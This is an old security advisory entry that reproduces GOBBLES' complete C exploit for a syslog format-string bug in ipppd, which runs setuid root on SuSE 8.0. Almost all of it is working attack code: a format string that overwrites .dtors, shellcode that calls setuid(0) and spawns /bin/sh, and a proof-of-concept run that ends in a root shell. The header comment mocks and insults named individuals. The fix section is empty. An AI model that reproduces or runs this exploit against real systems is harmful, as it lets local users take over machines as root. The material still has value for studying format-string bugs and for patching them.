12th Aug 2002 [SBWID-5623]
COMMAND
ipppd local root exploit
SYSTEMS AFFECTED
ipppd isdn4linux-utils in Suse 8.0
PROBLEM
GOBBLES [http://www.bugtraq.org] says :
/*
* GOBBLES-own-ipppd.c -- local root on SuSE 8.0
*
* Random Defcon Quote:
* "Who hired Gary Coleman to play KF at defcon?"
* -Anonymous
*
* ipppd is part of the isdn4linux-utils package and
* is part of the default install of many linux dists.
*
* It is installed suid root on suse 8.0 but can only
* be run by users in group "dialout". Luckily this
* is a default group that normal users get added to.
*
* Problem:
*
* Classical syslog(3) formatstring problem.
*
* ipppd will log device strings in the following manner:
*
* main.c:
*
* ...
* syslog(LOG_NOTICE,devstr); // HARD TO SPOT BUG
* ...
*
* This code is normally only reached with a valid device string
* but if you feed ipppd a devicename that is >= 256 bytes it
* will merrily proceed to log this string using the faulty
* syslog(3) call. Subsequently handing over root access to the machine.
*
* GENERIC FORMATSTRING EXPLOITS ARE SUPER DUPER FUN
*
* We're surprised that format bugs are allowed in 7350linux, but no one
* is perfect. Finding format bugs is a difficult task, and should be left
* to the professionals. A little known fact -- Paul Vixie invented
* insecure programming. We wanted to get this bug squashed before some
* "researcher" from snosoft.com discovered it and tried to make some money
* off it. Help us in our mission to eliminate the existance of format bugs
* in code.
*
* Greets:
* -Mark Litchfield, for helping make defcon happen. Thanks.
* -Blue Boar, for his brilliant input during the Defcon Ethics Roundtable
* Challenge (the finest moment of defcon X)
* -Dean Turner, who contrary to whatever might be said, GOBBLES is not
* afraid of. http://www.infonexus.com/PIX/08.01.02--defcon10/46.jpg
* -Eric Hines of f8labs.com, congradulations on your promotion to stockboy
* at Circuit City.
* -dice, for continuing to support the blackhat world (thanks for buying
* a turkey breakfast)
* -stealth, for making fun of the super bug.
* -Brian McWilliams, for thinking he knows what's up. Hoser.
*
* Be careful using the Compaq TestDrive Servers -- researchers from SnoSoft
* have comprimised each and every one of those machines, and are rapidly
* stealing other warez developed on these machines. If you have also
* worked with your perl -e techniques on these machines, and discovered some
* locally exploitable stack overflows, your work may have been ripped off.
* KF, the defcon stage, much like information security, is not for you.
*
* Please, help liberate dvdman! Let him go back to maintaining
* l33tsecurity.com, and stop raping his mind for less-than-minimum wage;
* skill displayed on l33tsecurity.com shows this man knows what's up and
* deserves to make a little more money, or return to the wild where he
* can hack freely. FREE DVDMAN!@#!@#
*
* (flashn has asked that the "hack.se is a bunch of nazis" statement from
* the defcon speech to be publically retracted and for an apology to be
* issued)
*
*/
/*
* PROOF OF CONCEPT ON DEFAULT SuSE 8.0 INSTALL:
*
* $ ./GOBBLES-own-ipppd -t 0x806c864
* [*] target @ 0x806c868
* [*] shellcode @ 0xbfffffb5
* sh-2.05# id
* uid=0(root) gid=100(users) groups=100(users)
* sh-2.05#
*
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#define DPA 11
#define ALLIGN 3
#define IPPPD "/usr/sbin/ipppd"
#define OBJDUMP "/usr/bin/objdump"
void buildstring(unsigned long t, unsigned long w, int dpa, int allign);
void stuff(void);
extern char **environ;
char string[260];
int
main(int argc, char **argv)
{
int dpa, aln, shift = 0;
char opt, *tmp;
unsigned long t, w;
if(argc == 1) {
fprintf(stderr, "\nUsage: \n%s -t <.dtors address>\n\n"
"Optional:\n\t-o <word offset>\n\t-a <allignment>\n\n"
"For the lazy:\n\t-g spits out .dtors section (use standalone)\n\n"
, argv[0]);
exit(0);
}
aln = ALLIGN;
dpa = DPA;
while((opt = getopt(argc, argv, "t:o:a:g")) != EOF) {
switch(opt) {
case 't':
sscanf(optarg, "%p", &tmp);
t = (long)tmp;
t += 4;
break;
case 'a':
aln = atoi(optarg);
break;
case 'o':
dpa = atoi(optarg);
break;
case 'g':
fprintf(stderr, "[*] requested objdump, this will halt any exploitation\n");
if(execl(OBJDUMP, "objdump", "-s", "-j", ".dtors", IPPPD, NULL)) {
fprintf(stderr, "[*] error getting .dtors section, check paths\n");
exit(1);
}
default:
fprintf(stderr, "hehehe ;PppPPPpP\n");
exit(0);
}
}
tmp = NULL;
if((tmp = getenv("GOBBLES")) == NULL) {
stuff();
if(execve(argv[0], argv, environ)) {
fprintf(stderr, "[*] error re-executing\n");
exit(1);
}
}
w = (long)tmp;
shift = (strlen(argv[0]) - strlen(IPPPD));
w += shift;
fprintf(stderr, "[*] target @ %p\n[*] shellcode @ %p\n", t, w);
buildstring(t, w, dpa, aln);
if(execl(IPPPD, "ipppd", string, NULL)) {
fprintf(stderr, "[*] error executing\n");
exit(1);
}
}
void
buildstring(unsigned long t, unsigned long w, int dpa, int aln)
{
char a_buf[4];
unsigned int un, deux, x, len, b[4];
memset(string, '\0', sizeof(string));
memset(a_buf, '\0', sizeof(a_buf));
for(x = 0; x < aln && x < sizeof(a_buf); x++)
a_buf[x] = 'x';
b[0] = (t & 0x000000ff);
b[1] = (t & 0x0000ff00) >> 8;
b[2] = (t & 0x00ff0000) >> 16;
b[3] = (t & 0xff000000) >> 24;
un = (w >> 16) & 0xffff;
deux = w & 0xffff;
if(un < deux) {
snprintf(string, sizeof(string)-1,
"%s"
"%c%c%c%c%c%c%c%c"
"%%.%hdx" "%%%d$hn"
"%%.%hdx" "%%%d$hn",
a_buf,
b[0] + 2, b[1], b[2], b[3], b[0], b[1], b[2], b[3],
un - (8 + aln + 5), dpa,
deux - un, dpa + 1
);
}
else {
snprintf(string, sizeof(string)-1,
"%s"
"%c%c%c%c%c%c%c%c"
"%%.%hdx" "%%%d$hn"
"%%.%hdx" "%%%d$hn",
a_buf,
b[0], b[1], b[2], b[3], b[0]+2, b[1], b[2], b[3],
deux - (8 + aln + 5), dpa,
un - deux, dpa + 1
);
}
len = strlen(string);
memset(&string[len], 'x', (sizeof(string)-len-1));
}
void
stuff(void)
{
char code[] = // the setuid 0 with the execve of the /bin/sh
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31"
"\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58"; // In honor of Snosoft
// appreciate week, we
// too are using only
// Taeho Oh shellcode.
setenv("GOBBLES", code, 1);
}
SOLUTION
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